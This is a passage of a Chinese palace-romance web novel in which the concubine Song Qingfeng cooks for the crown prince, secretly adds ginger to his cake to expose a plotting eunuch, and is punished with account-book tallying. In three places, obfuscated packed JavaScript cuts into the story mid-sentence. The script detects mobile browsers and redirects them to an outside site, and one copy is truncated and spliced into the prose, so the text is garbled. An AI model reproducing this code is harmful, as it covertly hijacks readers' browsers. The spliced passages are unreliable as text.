乌梅出主意道:“太子殿下自然什么都不缺,但我听闻娘娘们争宠。。啊呸!娘娘们平日里都喜欢时不时给主上煲汤做糕点什么的,就算不吃,那也能时时惦记起你的好来。” 说到做吃的,宋轻风狠狠心动了。 有一段时间她与兰哥哥在外头流浪,两人饿的肚子咕咕叫,她整日里幻想着可以做出这世上最美味的东西来。 她当即顶着雨跑去与全福商议。 全福也乐见其成,对他而言,只要是为殿下效力的,他统统赞同。 更何况是这个御赐的宋娘子。 宋轻风被顺意带到了文华殿旁的小厨房,这小厨房虽小,却什么稀罕物都有。 几个厨房里头的内侍躬着背,心疼地看着她东摸摸西瞧瞧,里里外外都瞧了个遍,连油罐子都拿过来闻了几回。 顺意见她迈着大步,成竹在胸,当即虾着背道:“娘子打算做什么?” 宋轻风道:“我想吃。。不,我想给殿下做个顶顶好吃的吃食。” 当即撸了袖子,舀水和面,揉来揉去。 顺意见她搬出了糖罐子,在一旁小心翼翼地道:“太子殿下不喜甜食,娘子可要换个?” 宋轻风不知听到了没,直觉得被人瞧着有些局促,索性将人全都打发了,自己在厨房里头捣鼓了半天,烟雾寥寥,香气四溢。 等她从厨房出来,天已经快黑了。 听闻太子殿下已经回来了,她不顾腰酸腿软,当即端了糕点盒去方华殿。 走到门外,却见全福从里头出来。 宋轻风一脸喜色地提起食盒与全福道:“今日殿下赏赐绸缎,这是我为殿下做的糕点,烦请公公通传。” 全福扫了一眼她的嘴角,未发一言地进去了。 果然不一时就叫她进去。 却见太子埋首在桌案上,全福接了她的食盒,悄悄上前,小声道:“太子殿下用些点心吧,这是今日宋娘子亲自下厨做的。” 说着从盒子里端出一个盘子来。 还没看清仔细,当即两眼一黑。 李岏正觉得饿,手方伸过来,却看到盘子里鼓囊囊软哒哒地瘫着两块粉团子,里头大概包了红豆沙,微微透了出来。 但是这团子表面,却用熟豆子组了个眼歪嘴斜的笑脸。 就这么傻乎乎地瞪着眼睛。 和下头站着的宋轻风形容迥异,却有异曲同工之妙。 瞧见这东西,全福才明白这宋轻风的嘴角沾着的又红又白的是什么,敢情她已先吃为敬了。 他狠狠掐了一把大腿才忍住笑,偷偷觑了一眼,却见太子殿下嘴角抽搐了一瞬,便又恢复了正常。 皱眉道:“这种丑东西也敢拿过来?” 气氛有些尴尬。 全福捂唇微咳了一声问道:“娘子做的这软唧唧的是什么?奴婢从未见过。” 宋轻风大为惊讶道:“这你都不认识?这是豆沙馅的大肚子饼啊!” 大。。大肚子饼?屋内众人石化在当场。 宋轻风道:“这东西又甜又糯,入口也是软绵绵又甜丝丝,咬上一口又弹又细腻,就像在口中化开一般,满口留香。” 全福忍不住咽了咽口口水。 再看这丑东西似乎也没那么丑了。 他凑到太子旁边,一脸谄笑道:“丑是丑了点,宋娘子的心意倒是好的,殿下您尝一口?” 李岏薄唇轻启:“扔了。” 全福见他面色冷淡,心中惴惴,不敢再说,只吩咐顺意赶紧拿走。 余光见却宋轻风面色毫无变化。 只是歪头笑道:“扔了多可惜,殿下不若赏了妾?殿下不喜欢这个,下次妾再换个。” 李岏闻言,手中一顿,抬起头来看了她一眼,却未置可否。 。 几场雨下来,宫中仅有的几棵树叶子都变了色。 晚间起了风,泛黄的树叶便晃晃荡荡地飘落下来。 天晚了,落叶无人扫,很快就铺了一路。 不一时,屋外传来细碎声响,是脚踩过树叶的声音,轻盈而细微。 李岏盘膝坐在矮塌上,侧头看了一眼,却见殿门寂寂,并无人推开。 他伸手端了茶来喝了一口,不经意扫了一眼墙角的沙漏,已过酉时了。 茶盏落下,重又低下头来忙活。 全福见状,忙踮着脚尖,悄悄走到外头,才低声与顺意道:“今日宋娘子怎么还没来送糕点?” 顺意道:“奴婢方遣人去问了,说是宋娘子今日午后有些头疼,怕传染了人,就不来了。” 这些日子宋娘子每日不管刮风下雨,雷打不动地来送吃食,虽然每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885592|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份都又原样不动地送出来,她却还是乐颠颠地换着花样。 全福听闻,嘀咕道:“这头疼了怎么也不派人来说一声。” 顺意啊了一声:“这宋娘子不来了,不正是殿下他老人家巴不得的?怎么还要派人巴巴地来说一声?” 全福瞪眼道:“小兔崽子胡诌什么!看你是皮痒了!” 顺意吓得一缩脖子,彻底成了个躬背虾。 全福转了转手中拂尘,想了一想又转身进了内间。 方踏进门,余光却见太子殿下微不可查地掀开眼皮看了他一眼。 他只做不见,眼观鼻鼻观心,埋下头,走上一旁垂手立着。 不知过了多久,才听烛花噼啪,居然已戌时了。 全福上前道:“太子殿下,时辰不早了,您晚膳还没用,奴婢命人传膳吧。”果然殿下仿若未闻,一动未动。 他从一旁取了厚厚的大氅来给殿下披上道:“如今夜里凉,一个不慎就易染风寒,这不后院的宋娘子听闻也风寒了,您此刻可千万要保重身体啊。” 李岏头也未抬,只是道:“磨墨。” 全福撸起袖子来,添水磨墨,磨了半天殿下也毫无表示,他磨的手酸却不敢停。 眼见墨快溢出来了,哪知殿下并未用笔,反而合上手中奏报。 全福不解,道:“太子殿下。” 李岏扫过来道:“再多言,这些墨汁便赏了你喝。” 全福一吓,闭紧了嘴巴。 李岏自塌上下来,披了大氅道:“坐了半日,先出去走走,回来再用膳。” 今夜圆月已升。 满院月色如水,清泠泠地洒了满地。 他不叫人跟着,自己裹了墨色的披风,连灯笼也没拧便顺着小路走。 这些路他从小到大走了千百回,便是闭着眼睛都走得毫无障碍。 宫墙脚下躲着的秋虫吱吱叫,墙角的兰树开得正盛。 他停下脚步,闻了会夜色里的花香,夜风徐徐,送来的除了花香,居然还有隐约的低低笑声。 李岏心下生异,不自觉循着声音,便走到了一个破落院子门前。 这个院子。。似乎是新辟出来的。 声音便是从里面传出来的。 李岏毫不犹豫,上前轻轻一推院子就开了。 只是院内的人却正忙活了笑闹着,并没发现他这个不速之客。 李岏裹在黑披风里,一眼瞧见院子正中堆着个临时搭出来的小石堆,而石堆当中正烧着一小团火,火并不大,柴火泛着红光。 而火堆旁蹲着个姑娘。 猩红的火光映出她的笑脸,正是据说午后染了风寒的宋轻风。 她正睁着大眼睛,拿了根棍子在火堆里拨来拨去,好一会拨出一块黑黢黢的东西。 而后便扔了棍子,迫不及待地用手去拿,显然那东西极烫,她被烫得一边抓耳朵,却一边不放手。 扳开手中的黑炭,金黄色的肉便露了出来,看起来软糯香甜,甜香四溢。 而这股奇艺的香气便传了出来。 李岏从未闻过这般浓郁的甜香。 他还未用晚膳,一时竟觉得腹中饥饿难耐。 宋轻风双颊红润,满脸的喜色与旁边的人笑道:“看我堆的这个土灶不错吧,这红薯烤得外焦里嫩,还不会被别人发现!” 说着也顾不得热气滚滚,就着手中咬了一口,被烫的忍不住哈气。 旁边一只黑翅乌鸦扑腾着翅膀,趁机也想要啄上一口,都被她推开了。 “这小厨房的红薯,果然比外头的甜得多,这种冷天吃烤红薯,实在是太幸福了。”她含含糊糊地夸赞,却顺手揪了一块下来,那只小乌鸦立刻叼进了嘴里,飞快地吞咽吃得脖子耿直。 17. 第 17 章 旁边两个宫人见她和乌鸦具都嘴巴鼓鼓囊囊,也忍不住从火堆里掏红薯,各个吃得腮帮子鼓鼓,不住地点头。 又绿想了想道:“娘子下午为了堆这烤灶,推脱说头疼不去方华殿,正经事不做却在这贪吃,实在不该,如今要不给太子殿下那里也送些去尝尝?” 宋轻风边吃边道:“可算了吧!下午我瞧见小厨房来了红薯,原也有这想法,可膳房里头的人说,太子殿下可吃不了这种粗鄙东西,都是只取中间的心,要磨了粉混着面做成糕点,用油炸了,做成酥饼点心。” “那么糟蹋我可不会,我只会烤红薯。”还未说完,宋轻风哎哟一声道,“乌梅你快拨拨,有个栗子糊了!” 乌梅当即勾长了脖子去火星堆里拨弄,果然拨出个黑呼呼的东西来:“娘子你这都知道。” 宋轻风得意地道:“我的鼻子比狗还灵,管保什么都闻得见。” 不一时却见乌梅登登跑到屋子里,拿出一件黑色的披风来道:“娘子瞧瞧,披风做好了,正巧有些冷。” 宋轻风接过,黑色的披风在空中划过半弧,便稳稳地落在了身上,帽兜兜头一罩,几乎就要与夜色混为一体。 一旁的嘎嘎好奇地飞扑过来,落在她的肩头,人鸦黑漆漆混为一体。 嘎嘎激动地嘎嘎乱叫,对着她就是一顿扑腾。 不想一直对宋轻风爱答不理的嘎嘎此刻居然主动投怀送抱,亲昵异常。 火堆里的猩红照着,一人一鸦四目相对。 乌梅又绿笑做一团,又绿道:“这么多好看的料子娘子不选,偏选这黑不溜秋,这下入了嘎嘎的眼了。” 宋轻风转头与肩头上的小乌鸦道:“别理她们,我们本就是一路人。” 院子里三个女孩子加一个乌鸦欢声笑语。 李岏看着院中的人,一时有些恍惚。 还是很多年前,他还少时,曾在宫城的校场上惊鸿一瞥,见过一个明媚阳光的女子。 她身骑白马,飒爽英姿,满脸灿烂的笑成了多年难忘的一抹鲜艳。 只是那女子从此之后再未见过。 从此这座宫城孤寂地像座坟场。 李岏知道自己一旦出现,院中的一切都会消散。 他默默地退了出去,顺着小路走回了方华殿。 全福亦步亦趋跟在身后,接过他肩头的黑色披风,正要让顺意送走,却见李岏转头盯着那披风看了一眼。 全福心头咯噔一声,道:“太子殿下,可是有何不妥?” 李岏转回了头,摆手道:“摆膳。” “是。” 果然在膳桌上瞧见了那红薯做的酥饼。 他沉着脸一言不发。 周围服侍的人心中惴惴大气也不敢喘,不知是否是膳食上出了差错。 好一会他拿起筷子,却与全福道:“让宋氏晚上过来。” 全福还未答应,他已又道:“让人修整一下破云院。” 。 这几天连着下了几天的雨,天又凉了几分。 宫人们全都换了棉衣。 乌梅去织造局给宋轻风取新做的冬袄,还没进门,织造局的王宫人笑盈盈地迎上来道:“我正准备送去,怎么劳乌梅姑娘亲自跑来了。” 乌梅道:“我们娘子可挨不得冻,我自然早一些来”。 她原是要先在这里瞧瞧衣裳有没有什么纰漏,再然后,其实,她这些日子可喜欢往外头跑。 自打前几日宋娘子得了宠,这些个以前不给她好脸色瞧的人,如今谁见了她不是笑着个脸? 这么长脸的时候,自然要多出来走动走动。 她取了衣裳回来,却见又绿一个人在屋内绣花。 不由问道:“宋娘子又出去了?” 又绿头也不抬道:“前日娘子不是说瞧见了西边有一个小池塘,兴许里头有鱼。这不方用完饭就弯了个绣花针去钓鱼了。” 乌梅将衣裳放下,想了想道:“这河边风大,我还是去送件衣裳吧。” 说着自取了黑披风往外走。 宋轻风端了椅子,包了一包瓜子,悠闲地坐在河边钓鱼。 不一时瞧见几个小太监抱着一摞书急急地经过,她吐了瓜子皮,招呼人道:“小公公慢走。” 小太监听见叫唤,一抬眼瞧见个穿着明媚的娘子,正是东宫里头的宋娘子。 这些日子她常在四周溜达,这附近的宫人几乎都认识她。 小太监小心翼翼地捧着书,小步上前来行礼道:“拜见宋娘子,您有什么吩咐?” 宋轻风目光在他手中的书封上一扫而过道:“小公公搬了这么多书,瞧着是从藏书阁来吗?” 小太监尖声回道:“正是,这是詹事府的赵大人要寻的书,听闻大人此刻正在东宫,奴婢寻来给大人送去。” 宋轻风当即扔了鱼竿道:“钓了半日也上不着一条鱼,正好无聊,小公公能指路,让我也去借几本书来看看?” 打头的小太监道:“宋娘子您想看什么书,吩咐奴婢们去取就是了。” 宋轻风摸着脑袋想了想道:“我也不知要看什么,总归瞧见了才知道有些什么好看的。你们只管告诉我怎么走,我自己去看看就成。” 小太监上前道:“藏书阁看守严密,进出都需要牌子,恐怕娘子要白走一趟的。” “这牌子从哪里能借到?” 两个小公公埋着头互相看了一眼,打头的小太监道:“奴婢们实在不知,连奴婢也是没有的,只能提前在门口递条子进去,等着里头的人寻了递出来。” 宋轻风哦了一声,一时有些意兴阑珊。 瞧见她一脸的失望之色,小太监上前讨好地道:“不过对于娘子您来说也算不得难事,您得太子殿下的宠爱,只需殿下点头,那自然哪里都去得的。” “真的吗?” “那是自然。” 宋轻风拿起鱼竿,决定打道回去,去给太子殿下准备点好吃的。 顺便和他说道说道去藏书阁的事。 她毕竟没得过宠没有经验,可大家都说她得宠了,那看来确实算是得宠了。 提个不算过分的要求应该不算过分吧? 宋轻风忙活了半日,傍晚时分天还没黑就带着食盒来了方华殿。 不想今日太子殿下回来的这么早。 提着食盒进来的时候,屋内寂静无声。 太子坐在桌案后头,正在埋头奋笔疾书。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885593|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他今日穿着一身天青之色,像是书生一般,愈发衬得面庞白皙,有文弱之态。 她下意识放轻了脚步,不想坐在桌案后头的李岏还是听见了。 他从桌案上抬头,眼眸中微微有些泛红。 宋轻风咯噔一声。 莫名感到今日他心情极为不愉,甚至压抑着怒气。 一时手下意识攥紧了食盒的提手,原想着趁机请示一下去藏书阁的事,看来今日不是个好时机。 要不先撤了? 不想还没开口,太子殿下却已与全福吩咐道:“去将烛火拨得亮些,晨时詹事府送来的奏疏呢?” 全福忙吩咐旁边伺候的去四角上重新换蜡烛,自己去旁边架子上翻奏疏。 一个个幽灵一般忙了起来。 李岏又道:“没墨了,没瞧见吗?” 全福满头是汗,一边慌忙地翻东西,一边连连应道:“是,是,奴婢这就来。” 宋轻风左右一瞧,只有自己没事人一般站着。 此时还站干岸实在有些说不过去。 看见全福求救地看了她一眼,她只好硬着头皮上前道:“殿下您用些点心,妾为您磨墨。” 李岏眉心皱了皱,却未出言反对。 屋内的烛火果然愈发的亮。 宋轻风慢腾腾挪到桌案边。 直走得近得能清晰地瞧见他白色锦服上的每一根绣线和纹路,能瞧见他脸上细小的绒毛,在烛火里仿佛晶莹剔透。 宋轻风放下点心,侧过头,瞧见他浓黑的睫毛低垂,下眼睑上的小痣若影若现。 李岏目光依旧盯着文书,下意识伸出手,却不想碰到了一只暖暖的手。 他一愣,转过头,一眼撞进了一双黑黢黢的眸子里。 这眸子里映着烛火的微光,里头似乎光影璀璨,闪烁跳动,正在一眨不眨地看着自己,这样专注。 似乎有轰隆一声自耳边响起。 宋轻风骤然感受手上的温度,反应过来,慌忙从盘子上撤回了手,低下头连连后退,直到腰部撞上了金鼎。 哐当一声,在寂静的夜色里格外刺耳,她脸色一白,方才停住。 这是什么反应? 李岏醒过神来。 她又这般避之不及?但是方才她看自己的是什么眼神? 这是一个侍妾看向主上该有的眼神吗?教的规矩都教到哪里去了! 全福一眼瞧见气氛不对,正好又寻着了文书,忙上前来道:“殿下息怒,奏疏寻来了,奴婢这就磨墨。” 说着挽起袖子,就磨了墨。 李岏扫了一眼便收回目光,自去忙碌。 宋轻风一时有些尴尬,她这样的算是宠妃吗? 那些人真的没有在骗她? 眼见李岏忙糟糟中下意识伸手到她送来的点心上上,捏了一块入口。 都说吃人的手短! 她心落了肚子,说了此行的目的:“太子殿下,妾有些无聊,听闻藏书阁内藏书繁多,想去见识见识…” 李岏有些惊讶地抬头。 挑眉方要开口,哪知却是“噗”地一声。 入口的点心全吐了出来,落在洁净的一尘不染的衣裳上头。 18. 第 18 章 他看了一眼衣裳上的污秽,口中又火辣辣地难受,再忍不住,一手扫落了桌案上的茶盏,“哗啦”一声脆碎,再次划破了寂静的夜。 屋内的内侍们心头一抖,扑通扑通跪了一地。 全福哎呦一声慌忙上前来,拿个巾帕擦拭他的衣裳,李岏一把打开他的手。 他又忙让人去寻洁净的衣裳,殿中一时重又忙乱。 李岏太阳穴突突地跳,咬了咬牙,转头却见这女子虽然跟着其他人一起跪在地上,却瞪着圆圆的眼睛看着他。 呵,她倒是惯会了这招铤而走险。 全福一边急切地唤人来给太子殿下换衣裳,一边黑着脸责问道:“宋娘子,您给太子殿下做的是什么点心!” 宋轻风低垂了眉眼,声音小小的:“只是红糖糯米糕。” 旁边的内侍哭丧着脸,脸如金纸,结结巴巴地道:“奴婢。。奴婢已用银针试过了。” 全福一向带笑的脸此刻转了黑,自己捡了一块来尝。 脸色彻底黑了。 这糕入口甘甜绵软,可是其中却有股辛辣之味。 是姜。 全福也忍不住太阳穴突突地跳。太子殿下自小就不能食姜,误食之后胳膊上必要起些风疹,因此不管是在大内还是东宫,他的膳食里头,向来最是忌讳放这个东西,宫人都极注意。 谁曾想这糕里居然还放了?! 李岏浑身散着摄人的寒意,就着内侍的手,漱了好几回的口,口中的苦辣之味还是不能散出。 不由嘴角噙了丝似笑非笑,问道:“何处来的姜?” 殿内瞬间安静地仿若空洞一般。 宋轻风结结巴巴地道:“我。。妾不知道,妾做的时候,并未放此物。” 李岏冷笑道:“查。” 宋轻风正待回答,殿中一个平日里侍奉膳食的内侍却忍不住浑身发软,猛地磕头,抖着嗓子道:“回太子殿下,是是是。。奴婢,奴婢不小心放在了膳房里。。。” 他有个同乡这些日子得了风寒,准备偷偷熬些姜汤给他。 只是今日方拿来,不巧赶上太子殿下早早回来了,遂摆在了膳房的柜子不显眼处,等着晚上回去的时候再拿回去。 原想着不过是临时放一会,心中到底生了侥幸。 全福还没着落的心愈发向下滑去。 此事若要深究,却是天大的事。 这样来源不清的东西可以突然出现在太子殿下的膳房,甚至被端上了殿下的桌案… 李岏道:“又是谁给的你?” 他抖着身子还未回答,旁边跪着的小太监守成却已瘫软在地。 李岏扫了一眼,不耐烦地道:“将二人带去皇城司审问。” 立时有侍卫上前,将瘫软的二人拖了出去。 李岏又道:“膳房所有人,鞭二十。” 鞭刑二十不会丢了性命,却可让人皮开肉绽,半月下不得床。 高守跪在门口,近段时间发生两次严重失误,叫他一个魁梧的男子都羞得面色通红,长跪在门口,抬不起头来。 李岏先是厉声训斥了他一通,而后打得打,罚的罚,今日当值的侍卫几乎少有幸免。 全福也跪在脚边道:“是奴婢失职,请殿下责罚。” 屋内愈发寂静,殿外接连响起鞭子清脆的破空声。 鞭下的人许是被塞住了口,只发得出沉闷的痛呼声。每一次鞭子的落下,都叫屋内的人忍不住心尖发颤。 不想这一点姜,竟牵连这样多的人受罚。 宋轻风第一次感觉到面前人的可怕。他是储君,是这天下最高高在上的人,不过一句话,便可取人性命。 原来传闻都是真的。 他确实心思冷酷,手段狠辣。 她抬头看着太子的脸,他冷眼之中对着屋外传来的惨叫全无半点反应。 虽然是相似的眉眼,却是全然不同的情态。 兰哥哥爱笑,他却眉眼冷峻,冷酷无情。 李岏发落了其他人,最后终于将目光转到她这里来。 宋轻风感受到他冰冷的眼神扫了过来,心中咕嘟一声,果然轮到自己了,不知会挨多少鞭子。 李岏换了新衣裳,坐在椅子上,目光里满是讥讽,开口道:“你是不是想说,不知者不罪?” 宋轻风张了张口,看他的目光落在自己身上,里面分明全是了然,一时要出口的话又吞了回去。 这人实在可怕,不成想自己这点小心思立刻被看穿了。 她自然知道。 她不光知道这里头放了姜,还知道太子殿下食姜会起风疹。 甚至这里头放的姜,她也有份。 那日守成支走了云嬷嬷,凑上来与她说这宫中禁忌的时候,她便觉得这人无事献殷勤,定不安什么好心。 只是不知这背后指使之人是谁。 后来私下她与旁人特意确认了,她知道太子殿下不能食姜,甚至这膳房里头,是不让出现这东西。 今日在膳房里,她放将蒸糕端出来的时候,便闻见了姜味。 虽然味道极淡,微不可查,可她向来鼻子比狗还灵,一下子就闻了出来。 她不过是顺势而为,又怕李岏不能及时察觉,特意在柜子里翻找一番,果然寻了出来,又加了好些进去。 其实不过是想借太子的手,将这些麻烦早些解决了。 看着她张口犹豫,目光闪烁,李岏一时感到心冷到了极点。 她只是在利用自己。 甚至分毫不顾自己误食之后的后果,真是好算计。 他闭了闭眼睛,再睁开时里头只有冷漠:“屡次犯禁,撵出宫去。” 原以为要挨一顿打,哪知却只是撵出去? 高守当即起身要来将她拖出去。 宋轻风避开了他,她好不容易进来的,自然不愿出去,当即道:“妾不愿出宫,殿下您也打我吧。” “孤给你一条生路,你却要自寻死路?” 死。。死路? 宋轻风见他眉眼冷淡,修长洁白的手指放在扶手上握成了半拳,屋外的行刑声与闷哼声萦绕在耳边。 她突然有些犹豫了。 只是她若是被撵出去,便再也没机会进来了。 那不如死了。 宋轻风扯着衣角,手下的刺绣扎在指尖有些刺痛,抬头道:“是,妾愿意选择这条路,只要还能在此,日日见到殿下。” 李岏转头,见她便睁着那一贯黑黢黢的眸子看向自己,里头一片烛火闪烁。 他心生烦躁,当即大袖一挥,将堆在桌案上小山一般的文书扫落在地,嘴角噙着冷笑:“自寻死路?也好,既然这么擅长算计,便将这些账册算好。” 宋轻风哪里认识什么账册,看着一地的文书,颤颤巍巍地道:“我。。妾不会。” 李岏不耐地问道:“一加一为几?” 宋轻风讷讷地接口:“二。。。二?” “二加二呢?” 宋轻风头皮发紧,他明显气得不行,话里定是设了什么陷阱? 想了一会,实在想不出来其他,瞧见他满眼看傻瓜的神情,宋轻风小心翼翼地问道:“难道是是。。。是四?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890887|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李岏愈发冷了脸:“虽然笨,但也答对了,何来的不会?” “。。。” “一日算不完,便一日不得用饭。” “若是熬不住,便自行出宫去。” 跪在一旁的全福忍不住心头一惊,将头埋得更低。 据他所知,这样多的账册,便是詹事府最得意的主薄也得不吃不喝算上五天五夜方成。 看来殿下是铁了心要撵人出去了。 发落完了人,李岏抬脚便走了。 地上的茶洒着,账薄散着,屋内的宫人立刻爬起来开始收拾。 宋轻风索性坐在地上,却没急着打开那些账册,而是瞧着内监将地上的茶一点点擦净。 她想起自己那时被兰哥哥救出,辗转方醒过来,嗓子干疼得能冒火。 他出现在面前,递给了她一碗白水。 她急切地接过碗,却手抖得厉害,没喝上几口,水却全撒了出去,连衣裳都弄湿了。 兰哥哥走上前来,端过了碗又重新打了水来,一点点喂她喝水,一碗水愣是喝了好长时间。 他却没有半分不耐,喂完了水,便看着她道:“小姑娘,你既醒了,便赶紧回家去吧,外面不安全。” “家?”她犹豫着开了口,“我。。我没有家。” 兰哥哥一愣,却转身欲走。 她却一把扑上前去,抓住了他的衣摆,睁着眼睛却不好意思说出口。 他却笑了,下意识摸了摸眼角的红痣,而后叹道:“也罢,以后跟着我,我给你一个家。” 可是自他死之后,她便没了家。 体会过有家的人,怎么还愿意流落街头呢。 宋轻风随手打开一本账册,发现上头密密麻麻地写了许多数字。 所以算账,是怎么个算法? 她想向旁边的人求助,却见那些小太监打扫完之后,看见她埋着头就要跑。 今日这么多人被罚,以后这些让都会记恨在自己头上,加上先头在宫宴上因为她受罚的那些侍卫,这东宫里头,太子身旁的人,她算是得罪了干净。 唉,他分明就是故意的。 宋轻风叹口气,眼疾手快,抓住了落在最后的顺意,好歹也算是熟人了。 顺意哭丧着脸道:“姑奶奶您放过我吧,我年纪还小,皮肤比较嫩不禁打的,呜呜呜呜。。。” 说着竟真就哭了起来。 宋轻风尴尬地竖起一根手指道:“我就问一个问题,真的,就一个!” 她一边说着,另一只手却紧抓着他的衣摆不松手。 顺意挣脱不开,只好道:“那你快问。” 宋轻风道:“这账册怎么算?可有什么讲究?” 顺意低头看了看满地散落的账册,发现这是去年的账册。 他指着第一页上的字道:“这是岁修费用。” 说着翻到后面,一列列的项目:“修缮宫殿:太和殿漏雨修缮:二千五百两白银,东华门门楣重建:八百两白银。。。” “你先将每类合计在一处算个数,而后每本再合计在一起,得个数,最后再这些所有加在一块,得个数。” “就这样?”宋轻风不敢置信地问道。 “就这样??”顺意有些无语,擦了擦脸上的眼泪,真是初生牛犊不怕虎啊。这其中的繁琐岂是几日能完的?殿下说了不算完不给吃饭,分明就是要饿死你,等你饿的受不了了,自然就想要离宫了。 顺意说完立马埋头要跑,不想衣裳又被扯住了。 宋轻风低下头,不好意思地搓了搓手指道:“还,还有一个问题。” 19. 第 19 章 顺意扯了衣裳急道:“姑奶奶您就放了我吧呜呜呜。” 宋轻风飞快地道:“真最最后一个问题了!我能将这些带回破云院么?” 这里头果然分门别类,林林种种,数额又格外巨大精细,就说着铺路设桥,居然花了一千八百五十七万六千一百七十两! 宋轻风抓着一堆账册看得头晕眼花。 索性众人都知道她要算账,也无人敢来打扰,乌梅又绿也被指派走了。 只有一只黑乌鸦整日飞来飞去,一会落在桌子上嘎嘎叫,一会又飞出去。 宋轻风倒觉得无人打扰,日子反而清净了许多。 她索性困了就躺着睡觉,醒了就翻起账册。 只是不久肚子就饿的咕咕叫。 饿了好一会,实在有些受不了,这才关了门窗,从枕头底下掏出一个青色包裹来,打开来里头赫然躺着两只白馍馍。 好在她饿惯了,一向有藏吃的的习惯,不然这两日可真要挨饿了。 喷香的味道让她食指大动,就着水吃了干净,连落在衣襟上的碎屑都捡了干净。 吃完实在有些犯困,索性又倒了头睡了一觉。 等睡醒的时候,才发现外头似乎已经黑了。外头嘎嘎不能进来,在拍打门板。 她充耳不闻,将这间小屋子唯一的窗户开着,虽然对着红墙,白日还好,晚上却透过烛火的光来。 宋轻风左右不想点蜡烛,干脆将账册捧到了窗子边,黑乎乎的红墙似乎反射着火光,勉强瞧清账册上的数字,又开始了念念有词。 不知过了多久,她的声音越来越弱,肚子发出响亮的抗议声。 两只馒头早啃了干净,屋内连一点吃的都没有了。 宋轻风倚在墙上揉了揉肚子,哀叹连连,抬头却见月上中天,外头寂寂无声。 她一把扔了账册,兜头罩脸地披了黑披风,便鬼鬼祟祟地出了破云院。 好在膳堂离此并不远,她贴着墙根,一路脚步儿如猫一般悄没声息。 很快就寻到了膳房。 这膳堂是供宫人们的吃喝,天黑了便也关了门,夜里也无人值守。 左右瞧了瞧无人,她猫着腰躲到窗底下,试探性地一拉,窗户居然开了! 宋轻风大喜,一个翻越就钻了进去。 夜已深。 方华殿内殿却还是灯火通亮。 高守轻声进殿来,行到案前不远处跪下道:“太子殿下,宋氏偷偷跑去了膳堂,臣可要将人拿下?” 禀报完正等着指示,却见上首殿下头也未抬,闻此面上毫无变化,只是挥了挥手让他下去。 。 不知过了多久,似乎天色有发亮的迹象,李岏终于洗漱了一番,上床就寝。 方入睡不久,却似乎听到隐隐约约奇怪的念经声,原以为是幻听了,可这声音却在耳边隐隐地盘旋,吵得他头疼。 他被吵醒,翻来覆去睡不着,终于忽地坐了起来问道:“谁在讲话?” 侍夜的内监面面相觑,殿下就寝时,谁有胆子讲话?这殿内分明安静的能听到自己眨眼的声音。 一名内监近前小心翼翼回道:“太子殿下您听到什么了?奴婢等未曾听到有什么声音。” 李岏坐起身来,隔着床帘竖着耳朵听了一会,只有窗外一点隐约风声,却真的没有念经声。 他复又躺下,不过片刻,那恼人的声音又传来了。 声声入耳,叫人歇息不得! 许是最近太累,外邪侵犯,肝火上扰,有些颅鸣了。 。 宋轻风拿着账本对着墙念叨了一夜,终于又算好了几本,看着床头上堆的只剩三四本,一时居然有些舍不得。 这三日她吃吃睡睡然后念经算账,倒也是过得昏天黑地,黑白颠倒,夜里做贼,白天不起。 顺意来敲门,瞧见门内露出一个眯着眼睛头发堆成一团的人,差点吓飞出去。 大着胆子细看,才瞧清确实是宋轻风。 这几日这屋子里半点动静也没有,全福公公生怕这宋娘子饿晕在里头,特意派他来查探查探。 顺意瞧见几日前这姑娘还穿着光鲜亮丽,模样可爱,不过三日便成了如此蓬头垢面的模样,连眼睛都睁不开,果然很是凄惨。 宋轻风正在睡觉,也没瞧清是谁,只是闭着眼睛问道:“什么事?” 顺意道:“师傅让我来瞧瞧,看你。。看你什么情况。” 宋轻风困意连天,嘟嘟哝哝地道:“我勉强还能喘气。” 顺意一噎,又四周瞧了瞧,好在这破云院一个人也没有,遂小声道:“姑奶奶,还是命要紧,难道你真想被活活饿死?现在保住一命,以后说不得还能有机会。” 宋轻风只觉得头疼,索性半眯着眼睛摸索到床边,吃力地捧着半人高的账册过来塞给他道:“我算完了!还给你们。” 顺意苦着脸问道:“算完了,在哪呢?” 宋轻风指了指自己乱蓬蓬的脑袋:“自然在这里。” 顺意的脸愈发苦了,这姑娘该不是关了三天三夜算傻了吧。 。 全福带着太医刚跨进方华殿,一人捧着半人高的账册跌跌撞撞地从一角转出来,险些撞到两人身上。 他甩了拂尘骂道:“小兔崽子眼睛长脚底了!” 顺意忙将头从一堆账册旁探出来,满脸堆笑道:“是师傅您老人家,奴婢实在是没瞧着道。” 全福瞟了眼他手里堆得老高的账册,叹了口气。 账册回来了,看来人终于是走了,只是不知宫中是否对此会有什么非议没有。 